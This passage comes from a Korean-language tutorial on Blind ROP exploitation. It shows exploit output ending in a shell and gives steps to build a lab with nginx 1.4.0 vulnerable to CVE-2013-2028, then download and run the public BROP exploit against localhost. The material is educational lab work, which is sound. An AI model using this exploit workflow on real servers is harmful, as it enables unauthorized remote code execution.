[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to  0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to  0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[*] Progressed to  0x100
[*] Progressed to  0x200
[*] Progressed to  0x300
[*] Progressed to  0x400
[*] Progressed to  0x500
[+] Puts plt : 0x400555
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[+] libc base : 0x7f8e66eec000
[+] system : 0x7f8e66f31390
[+] binsh : 0x7f8e67078d57
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
lazenca0x0@ubuntu:~/Exploit/BROP$
```

CVE-2013-2028

- **해당 취약성은 BROP를 이용하여 공격이 가능한 취약성입니다.**
  - BROP에 흥미가 있다면 해당 취약성을 이용하여 조금더 공부해보는 것도 좋습니다.
  - 여기에서는 해당 취약성에 대해 공개된 BROP Exploit code를 테스트 하는 환경까지만 설명하겠습니다.

Setting up the test environment

Install

```
sudo apt-get update
sudo apt-get install libpcre3 libpcre3-dev
sudo apt-get install openssl libssl-dev
wget nginx.org/download/nginx-1.4.0.tar.gz
tar zxvf nginx-1.4.0.tar.gz
cd nginx-1.4.0
./configure --sbin-path=/usr/local/nginx/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/usr/local
/nginx/nginx.pid --with-http_ssl_module
vi objs/Makefile
```

- Makefile에 -fstack-protector 을 추가합니다.

vi objs/Makefile

```
...
CFLAGS =  -pipe  -O -W -Wall -Wpointer-arith -Wno-unused -Werror -g -fstack-protector
...
```

- 다음과 같이 해당 코드를 빌드합니다.

Build nginx

```
make -j4
sudo make install
```

- nginx.conf 에서 동작할 프로세스의 수를 증가시킵니다.

sudo vi /usr/local/nginx/nginx.conf

```
worker_processes  4;
```

- 다음과 같이 nginx를 실행합니다.

Run nginx

```
sudo /usr/local/nginx/nginx
```

Download Exploit code

```
wget www.scs.stanford.edu/brop/nginx-1.4.0-exp.tgz
tar zxvf nginx-1.4.0-exp.tgz
cd nginx-1.4.0-exp
```

Run Exploit code

- 기본적으로 shell을 획득하도록 되어있으며, nginx 바이너리 파일을 덤프하는 기능은 주석처리되어 있습니다.

```
./brop.rb 127.0.0.1
```

References

- https://oddcoder.com/BROP-102/
- https://github.com/sam-b/broppy
- https://www.anquanke.com/post/id/85331

- https://github.com/zh-explorer/hctf2016-brop
- http://muhe.live/2017/01/22/Have-fun-with-Blind-ROP/
- http://www.scs.stanford.edu/~sorbo/brop/bittau-brop.pdf
- https://en.wikipedia.org/wiki/Blind_return_oriented_programming
- https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c
- https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.1_pwn_hctf2016_brop.md
- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/june/blind-return-oriented-programming/
- https://github.com/Shadowshusky/ctf-wiki/blob/15a55481c5fcb8b998f4affc98be40839a4f713a/pwn/stackoverflow/example/hctf2016-brop/exploit.py
-

Error rendering macro 'html'

Notify your Confluence administrator that "Bob Swift Atlassian Apps - HTML" requires a valid license. Reason:

VERSION_MISMATCH